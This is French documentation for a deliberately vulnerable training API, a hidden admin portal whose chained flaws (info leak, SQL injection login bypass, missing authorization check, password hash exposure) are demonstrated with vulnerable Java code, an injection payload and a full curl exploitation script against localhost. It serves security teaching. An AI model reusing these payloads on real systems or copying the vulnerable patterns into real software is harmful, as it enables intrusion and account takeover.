Aller au contenu

API — Portail admin caché (S10-S12)

Cette page documente AdminPortalController, monté sous /api/admin/portal. C'est un contrôleur intentionnellement vulnérable utilisé exclusivement en pédagogie pour illustrer les failles S10, S11 et S12 du Chaos Sécurité.

Endpoints pédagogiques vulnérables

Tous les endpoints de cette page sont des failles construites sur mesure pour la formation. Ils ne doivent jamais être exposés en production sans le chaos sécurité — et même en pédagogie, ils ne sont actifs qu'en niveau 4 (Master).

Ces failles illustrent un scénario OWASP chaîné complet : énumération anonyme → bypass d'authentification → élévation de privilèges.


Le guard « portail invisible »

Tous les endpoints de ce contrôleur commencent par la même vérification :

private boolean isPortalActive() {
    return securityChaosService.isAdminPortalVulnerable();
    // true uniquement si level == 4 (Master)
}

private ResponseEntity<Void> portalNotFound() {
    return ResponseEntity.status(404).build();  // corps vide intentionnel
}

En Chaos Sécurité niveau 0, 1, 2 ou 3, tous les endpoints /api/admin/portal/* retournent 404 Not Found avec un corps vide. Le portail est invisible — même un fuzzer ne peut pas détecter qu'il existe. Ce comportement est essentiel à la valeur pédagogique : l'étudiant doit trouver le portail en découverte progressive, au moment où le formateur active le niveau Master.

En Chaos Sécurité niveau 4 (Master), les endpoints deviennent actifs et répondent aux failles documentées ci-dessous.

Pas de modification de ChaosInterceptor

Le contrôleur est déclaré sur /api/admin/portal et est naturellement exclu du ChaosInterceptor (qui n'intercepte pas les endpoints /api/admin/*). Les failles du portail fonctionnent donc même quand le Chaos Performance sature le reste du backend — comportement utile pour qu'un étudiant puisse continuer à exploiter le portail pendant une démonstration de saturation.


Le scénario d'exploitation chaîné

Les trois failles sont conçues pour être exploitées dans cet ordre par l'étudiant :

flowchart TB
    A[Étudiant<br/>fuzzing] -->|1. découvre /admin<br/>dans React| B[Page AdminPortal.jsx]
    B -->|2. GET /api/admin/portal/stats| C[S10 — Stats sans auth<br/>récupère email superadmin]
    C -->|3. POST /api/admin/portal/login<br/>payload SQLi| D[S11 — SQLi bypass<br/>obtient adminToken]
    D -->|4. X-Admin-Token valide pour<br/>chaos-admin + monitoring| E[Accès partiel]
    E -->|5. PUT .../accounts/1/promote| F[S12 — IDOR privesc<br/>devient superAdmin]
    F -->|6. GET .../accounts| G[Liste tous les comptes<br/>avec passwordHash]

Chaque faille débloque la suivante — ce n'est pas une liste de bugs indépendants, c'est une kill chain pédagogique qui illustre comment des failles « mineures » se combinent en compromission complète.


Vue d'ensemble

# Méthode Endpoint Auth Faille OWASP
1 GET /api/admin/portal/stats Aucune 🚨 S10 — Broken Access Control (A09)
2 POST /api/admin/portal/login Aucune 🚨 S11 — Injection (A03)
3 PUT /api/admin/portal/accounts/{id}/promote Session ou token admin 🚨 S12 — IDOR / Privesc (A01)
4 GET /api/admin/portal/accounts Token + superadmin en DB 🚨 S12 — Exposition passwordHash (A02)

GET /api/admin/portal/stats — S10

Expose des statistiques et l'email du superadmin sans aucune authentification.

Auth : aucune 🚨 Activation : Chaos Sécurité niveau 4 OWASP : A09 — Broken Access Control Contrôleur : AdminPortalController.getPortalStats()

Requête

GET /api/admin/portal/stats HTTP/1.1

Aucun header ni corps requis.

Réponse — 200 OK (niveau 4)

{
  "userCount": 127,
  "orderCount": 4512,
  "productCount": 89,
  "adminContact": "admin@perfshop.fr",
  "version": "PerfShop Portal v1.0",
  "status": "operational"
}

La faille

Le champ adminContact contient l'email du superadmin — extrait dynamiquement de la table admin_users via findByIsSuperAdminTrue(). Ce champ n'est pas un paramètre de configuration : c'est une vraie fuite de donnée structurelle. L'étudiant apprend que :

  • Un endpoint « inoffensif » (stats publiques) peut exposer des données sensibles
  • L'email d'un compte admin est le premier maillon de toute attaque ciblée
  • Un pattern /portal, /status, /stats sans auth est un drapeau rouge classique en audit

Réponse — 404 Not Found (niveaux 0-3)

Corps vide, aucun header distinctif. Impossible de deviner que l'endpoint existe.

Logging

En niveau 4 actif, chaque appel est loggé par SecurityChaosService.recordPortalStatsAccess(clientIp) et apparaît dans activityLog avec l'IP source. Le formateur peut suivre en temps réel les étudiants qui ont trouvé le portail.


POST /api/admin/portal/login — S11

Login admin vulnérable à l'injection SQL via requête native concaténée.

Auth : aucune 🚨 Activation : Chaos Sécurité niveau 4 OWASP : A03 — Injection Contrôleur : AdminPortalController.portalLogin()

Requête

{
  "email": "admin' OR '1'='1' --",
  "password": "ignored"
}

Le champ password est intentionnellement ignoré par la faille — le bypass passe uniquement par le payload dans email.

La requête vulnérable

Le code exécute :

String sql = "SELECT * FROM admin_users WHERE email = '" + emailPayload + "' LIMIT 1";
entityManager.createNativeQuery(sql, AdminUser.class).getResultList();

Concaténation de chaîne pure — aucun PreparedStatement. Le payload classique admin' OR '1'='1' -- transforme la requête en :

SELECT * FROM admin_users WHERE email = 'admin' OR '1'='1' --' LIMIT 1

Le -- commente la fin, le OR '1'='1' est toujours vrai, la première ligne de admin_users est retournée — typiquement le superadmin.

Réponse — 200 OK (bypass réussi)

{
  "success": true,
  "adminToken": "c3e4f5a6-7b8c-9d0e-1f2a-3b4c5d6e7f8a",
  "email": "admin@perfshop.fr",
  "isSuperAdmin": true,
  "portal": true
}

Conséquence critique

Le token retourné est injecté dans la map VALID_ADMIN_TOKENS via AdminController.addValidToken(token, email). À partir de ce moment, le token est indistinguable d'un token obtenu par login légitime. L'étudiant peut l'utiliser pour :

  • Piloter le Chaos Admin (/api/admin/chaos/*)
  • Accéder au monitoring (/api/admin/status)
  • Gérer les produits et utilisateurs (/api/admin/products, /users)

Le flag portal: true est purement cosmétique — utilisé par le frontend AdminPortal pour afficher une bannière « mode portail ». Il n'a aucun impact sur l'authentification backend.

Détection du bypass

Le code détermine bypassed = true lorsque le payload ne ressemble pas à un email légitime :

boolean isRealEmail = emailPayload.contains("@") && !emailPayload.contains("'");
bypassed = !isRealEmail;

Cette heuristique permet de distinguer une vraie tentative de SQLi (admin' OR '1'='1' --) d'un échec de login normal (typo@example.com). Le flag est loggé par securityChaosService.recordPortalSqliAttempt(payload, bypassed).

Réponse — 401 Unauthorized

  • Si la requête native échoue (erreur SQL mal formée)
  • Si aucune ligne n'est retournée (payload syntaxiquement correct mais résultat vide)
{ "error": "Identifiants incorrects" }

Réponse — 404 Not Found

En niveau < 4, corps vide.


PUT /api/admin/portal/accounts/{id}/promote — S12 (élévation)

Promeut un compte admin en superadmin sans vérifier si le requérant est lui-même superadmin. C'est une IDOR (Insecure Direct Object Reference) combinée à une absence de contrôle de privilège.

Auth : AdminAuth.isAdmin(session, tok) — session cookie ou header X-Admin-Token accepté 🚨 Activation : Chaos Sécurité niveau 4 OWASP : A01 — Broken Access Control Contrôleur : AdminPortalController.promoteAccount()

La faille

Le code fait une seule vérification d'authentification, puis modifie la base :

if (!AdminAuth.isAdmin(session, tok)) {
    return ResponseEntity.status(401)
        .body(Map.of("error", i18n.t("portal.error.token_required")));
}
// FAILLE : la vérification isSuperAdmin est intentionnellement absente
// Un admin ordinaire (ou un token obtenu via S11) peut promouvoir n'importe quel compte
target.setSuperAdmin(true);

Dans AdminController.updateRights() (le endpoint légitime), la vérification isSuperAdmin(session) est présente et appliquée. Ici, elle est absente — le contrôle d'autorisation s'arrête à « session ou token valide », ce qui est insuffisant pour une opération de montée en privilège.

Codes d'erreur

Code Corps Cause
401 {"error": "Token requis"} Ni session admin, ni X-Admin-Token valide (clé portal.error.token_required)
404 {"error": "Compte introuvable"} Aucun AdminUser avec cet id (clé portal.error.account_not_found)
404 (corps vide) Chaos Sécurité niveau < 4 — portail invisible

Requête

PUT /api/admin/portal/accounts/1/promote HTTP/1.1
X-Admin-Token: <token obtenu via S11>

Aucun corps requis — le seul paramètre utile est id dans le path.

Réponse — 200 OK

{
  "success": true,
  "id": 1,
  "email": "admin@perfshop.fr",
  "isSuperAdmin": true,
  "message": "Compte promu superAdmin avec succès"
}

Effets de bord en base

Le compte cible voit tous ses flags de privilège passés à true :

target.setSuperAdmin(true);
target.setCanAccessChaos(true);
target.setCanAccessMonitoring(true);
target.setCanAccessAdmin(true);
adminUserRepository.save(target);

Cette modification est persistée en base. Elle survit au redémarrage du backend, et ne peut être annulée qu'en accédant directement à MySQL ou en modifiant un autre compte superadmin via PUT /api/admin/accounts/{id}/rights (qui est réservé au superadmin — mais l'attaquant l'est maintenant).

Restauration après démonstration

Après une démo du niveau Master en formation, il est nécessaire de restaurer l'état initial des comptes. Le formateur peut :

  1. Réinitialiser la base via docker compose down -v && docker compose up
  2. Ou modifier manuellement admin_users en SQL
  3. Ou utiliser POST /api/admin/chaos/security/reset qui ne réinitialise pas les modifications DB — seules les lignes sont persistantes.

Logging

L'élévation est loggée par securityChaosService.recordPrivilegeEscalation(requesterId, targetId) avec les deux IDs. Le log apparaît dans activityLog avec le niveau WARN :

[Portal][S12] ELEVATION PRIVILEGES — compte #1 (admin@perfshop.fr) promu superAdmin

GET /api/admin/portal/accounts — S12 (exposition passwordHash)

Liste tous les comptes admin avec leurs hash BCrypt — la dernière étape du scénario.

Auth : deux vérifications distinctes effectuées dans cet ordre 🚨 1. X-Admin-Token présent et valide (dans VALID_ADMIN_TOKENS) → sinon 401 2. Le compte associé au token est isSuperAdmin = true en base de données → sinon 403

Activation : Chaos Sécurité niveau 4

Pourquoi deux étapes ?

La vérification isSuperAdmin est lue depuis la DB (adminUserRepository.findByEmail(tokenEmail)), pas depuis la session. C'est essentiel au scénario pédagogique : l'étudiant exploite d'abord S11 pour obtenir un token (qui correspond à un compte non-superadmin), puis exploite S12 pour muter la base et promouvoir ce compte. À partir de ce moment, son token existant devient éligible à /accounts sans avoir besoin de se reconnecter — la simple relecture DB au prochain appel le reconnaît comme superadmin.

Requête

GET /api/admin/portal/accounts HTTP/1.1
X-Admin-Token: <token d'un compte déjà promu par S12>

Réponse — 200 OK

{
  "accounts": [
    {
      "id": 1,
      "email": "admin@perfshop.fr",
      "isSuperAdmin": true,
      "canAccessChaos": true,
      "canAccessMonitoring": true,
      "canAccessAdmin": true,
      "passwordHash": "$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy",
      "createdAt": "2024-01-01T00:00:00Z"
    },
    {
      "id": 2,
      "email": "trainer@perfshop.fr",
      "isSuperAdmin": false,
      "passwordHash": "$2a$10$...",
      "..."
    }
  ],
  "count": 2
}

passwordHash exposé

Le champ passwordHash est inclus dans la réponse — il contient le hash BCrypt complet de chaque compte admin. Contrairement à S3 (qui expose le hash d'un seul utilisateur connecté), S12 expose tous les hash admin d'un coup, permettant une attaque offline par dictionnaire contre le superadmin.

Réponse — 401 Unauthorized

Si le header X-Admin-Token est absent ou invalide :

{ "error": "Token requis" }

Réponse — 403 Forbidden

Si le token est valide mais le compte associé n'est pas encore superadmin :

{
  "error": "Accès réservé au superAdmin",
  "hint": "Exploitez S12 d'abord — PUT /api/admin/portal/accounts/{id}/promote"
}

Le champ hint est intentionnel : il oriente l'étudiant vers l'étape manquante. Cette aide pédagogique est toujours affichée quand la faille S12 est active — elle est indépendante du toggle hintsEnabled des parcours pédagogiques, qui concerne uniquement les énigmes BAC. Pour S12, l'indication est considérée comme essentielle à la progression du scénario.

Réponse — 404 Not Found

En niveau < 4, corps vide.


Exemple curl — exploitation complète

# ═══════════════════════════════════════════════════════
# PRÉ-REQUIS : Chaos Sécurité niveau 4 (Master) actif
# Le formateur l'a activé via /api/admin/chaos/security
# ═══════════════════════════════════════════════════════

# 1. S10 — Découvrir l'email du superadmin
ADMIN_EMAIL=$(curl -s http://localhost:9080/api/admin/portal/stats | jq -r '.adminContact')
echo "Email superadmin : $ADMIN_EMAIL"

# 2. S11 — SQLi bypass pour obtenir un token
TOKEN=$(curl -s -H "Content-Type: application/json" \
  -d "{\"email\":\"admin' OR '1'='1' --\",\"password\":\"bogus\"}" \
  http://localhost:9080/api/admin/portal/login | jq -r '.adminToken')
echo "Token obtenu : $TOKEN"

# 3. S12 — Promouvoir le compte id=1 (le superadmin lui-même, pour être sûr)
curl -H "X-Admin-Token: $TOKEN" \
     -X PUT \
     http://localhost:9080/api/admin/portal/accounts/1/promote

# 4. S12 suite — Lister les comptes avec passwordHash
curl -H "X-Admin-Token: $TOKEN" \
     http://localhost:9080/api/admin/portal/accounts | jq

Valeur pédagogique

Ce contrôleur est un cas d'étude complet pour la formation sécurité applicative. Il illustre :

  1. Defense in depth raté — Le portail a trois failles distinctes, chacune débloquant la suivante. Aucune d'elles n'est individuellement catastrophique, mais leur chaînage l'est.

  2. OWASP Top 10 appliqué — Les trois positions A01 (Broken Access Control), A03 (Injection) et A09 (Security Logging) sont exploitées sur un périmètre minimal de 4 endpoints.

  3. Enumeration > exploitation — La valeur de S10 est dans l'information (email admin), pas dans l'accès direct. C'est typique des vrais pentests.

  4. IDOR vs contrôle d'accès — S12 n'est pas une faille d'authentification (le token est bien vérifié), mais d'autorisation (le privilège isSuperAdmin n'est pas contrôlé). Cette distinction est souvent mal comprise par les débutants.

  5. Persistance vs volatilité — S10 et S11 n'ont pas d'effet persistant (tokens en RAM), mais S12 modifie la base de données de façon permanente. L'étudiant apprend qu'une compromission runtime peut avoir des conséquences postérieures au redémarrage.


Détection par le monitoring

Toutes les tentatives sont loggées dans activityLog de SecurityChaosService avec les clés i18n suivantes :

Endpoint Clé de log
GET /stats chaos.security.s10.log_detail
POST /login (succès) chaos.security.s11.log_success
POST /login (tentative) chaos.security.s11.log_attempt
PUT /promote chaos.security.s12.log_detail

Le dashboard Grafana « Sécurité » affiche un compteur perfshop_security_<faille>_total qui s'incrémente à chaque exploitation. Voir métriques chaos.


Liens associés